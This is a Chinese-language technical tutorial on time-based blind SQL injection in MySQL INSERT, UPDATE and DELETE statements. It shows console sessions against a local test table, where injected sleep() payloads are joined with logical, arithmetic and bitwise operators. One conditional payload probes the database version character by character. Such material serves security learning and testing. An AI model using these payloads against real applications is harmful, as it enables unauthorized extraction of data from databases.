【SQL注入】insert、update和delete时间盲注

测试表结构如下:

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
| 2 | 0 | 123456 |
+----+----------+----------------+
2 rows in set (0.00 sec)

insert


使用逻辑运算符(and or xor && ||)连接如下:
需要注意如果使用And或者&&的话,这里分为两种情况
1)存在注入的字段为字符型。

insert : insert into users values (1,'{injecthere}','password');

那么逻辑运算符不能使用and和&&,可以使用or || xor , 因为字符型在进行逻辑运算时会当做0来处理,所以无法执行and后的sleep。

mysql> insert into users values (5,'name' and sleep(2),'pass');
Query OK, 1 row affected, 1 warning (0.00 sec)

可以看到没有延迟。

2)存在注入的字段为Int型。

insert into users values ({injecthere},'Vinc','password');

这里可以使用and && || or xor。
需要注意如果逻辑运算符使用And或者&&,那么注入的数不能为0。

mysql> insert into users values (-1 and sleep(2),'vinc','password');
Query OK, 1 row affected (2.00 sec)

可以看到延迟2S。

mysql> insert into users values (0 and sleep(2),'vinc','password');
Query OK, 1 row affected (0.00 sec)

可以看到没有延迟。

一般建议使用or || xor测试

mysql> insert into users values (18,'vinc' xor sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)

 

使用算数运算符(+ – * /)连接如下

mysql> insert into users values (4,'name'+sleep(2),'pass');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> insert into users values (8,'name'*sleep(2),'pass');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> select * from users where id = 8 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | 0 | pass |
+----+----------+----------+
1 row in set (0.00 sec)

这里插入的username为0

 

使用位运算符连接(| &)如下

mysql> insert into users values (12,'vinc' | sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> insert into users values (13,'vinc' & sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)

update


和insert的用法相同。

update users set username = '{injecthere}' where id = 1;

mysql> update users set password = 'Vinc' or sleep(2) where id = 4;
Query OK, 0 rows affected, 1 warning (2.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1
mysql> update users set password = 'Vinc' or if(ord(substr(version()from(1)for(1)))=53,sleep(2),1) where id = 4;
Query OK, 0 rows affected, 1 warning (2.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1

delete


delete : delete from users where id > {injecthere} ;

delete的注入位置位于where后所以和select是一样的。

mysql> delete from users where id = 5 and sleep(2);
Query OK, 0 rows affected (2.00 sec)

因为sleep()函数返回0,所以这里无法删除成功。

参考文章


https://osandamalith.com/2017/03/13/mysql-blind-injection-in-insert-and-update-statements/